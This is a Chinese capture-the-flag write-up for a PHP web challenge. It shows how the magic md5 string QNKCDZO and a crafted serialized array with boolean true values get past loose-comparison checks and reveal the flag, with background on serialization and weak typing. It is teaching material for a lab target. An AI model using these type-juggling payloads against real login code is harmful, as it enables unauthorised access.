题目地址:http://ctf5.shiyanbar.com/10/web1/
文章图片
首先还是查看页面源代码,发现注释有一个提示:
文章图片
当传入的username值经md5加密后等于0,就会返回某样东西!
如何绕过md5函数呢?可以参考下面这篇文章。
https://blog.csdn.net/dyw_666666/article/details/82348564
我们可以用QNKCDZO绕过。
文章图片
访问 http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer
得到以下代码:
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}
知识扩展:
1) PHP序列化与反序列化
serialize() 对单一的已序列化的变量进行操作,将其转换回反序列化 PHP 的值。
返回的是转换之后的值,可为 integer、float、string、array 或 object。
如果传递的字符串不可解序列化,则返回 false,并产生一个 E_NOTICE。
unserialize() 恢复原来的变量,还原已经序列化的对象。
比如:
$b=array('user'=>"admin",'pass'=>"admin");
$a = serialize($b);
var_dump($a);
$b = unserialize($a);
var_dump($b);
结果:
string(52) "a:2:{s:4:"user";
s:5:"admin";
s:4:"pass";
s:5:"admin";
}"array(2) { ["user"]=> string(5) "admin" ["pass"]=> string(5) "admin" }
(a代表array,s代表string,b代表bool,而数字代表个数/长度)
2) php弱类型
== : 比较运算符号,不会检查条件式的表达式的类型
===:恒等计算符,同时检查表达式的值与类型
当php进行一些数学计算的时候,当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。
var_dump(0 == '0hhhhh');
//true
var_dump(0 == 'abcdefg');
//true
var_dump(1 == '1ooooo');
//true
bool类型的true跟任意字符串可以弱类型相等
true == "aaa" //true
true == 111//true
true == 0//false
从这道题的代码中我们可以得到下面的结论:
- 我们需要构造序列化的password填入,代码意思是把post提交的password值经过"反序列化"得到一个数组,要求数组里的user和pass都等于某个值时就打印flag。
- 加上代码提示布尔型。
- bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据,无论比较的值是什么,结果都为true。
【#|西普实验吧ctf-web-天网管理系统(序列化与反序列化)】password: a:2:{s:4:"user"; b:1; s:4:"pass"; b:1; }
文章图片
推荐阅读
- 数据结构和算法|LeetCode 的正确使用方式
- #|7.分布式事务管理
- #|算法设计与分析(Java实现)——贪心算法(集合覆盖案例)
- #|算法设计与分析(Java实现)—— 动态规划 (0-1 背包问题)
- #|阿尔法点亮LED灯(一)汇编语言
- #|Multimedia
- #|ARM裸机开发(汇编LED灯实验(I.MX6UL芯片))
- 基础课|使用深度优先搜索(DFS)、广度优先搜索(BFS)、A* 搜索算法求解 (n^2 -1) 数码难题,耗时与内存占用(时空复杂度)对比(附((n^2 - 1) 数码问题控
- #|学习笔记 | Ch05 Pandas数据清洗 —— 缺失值、重复值、异常值
- win10|搏一搏 单车变摩托,是时候捣鼓一下家中的小米电视机啦。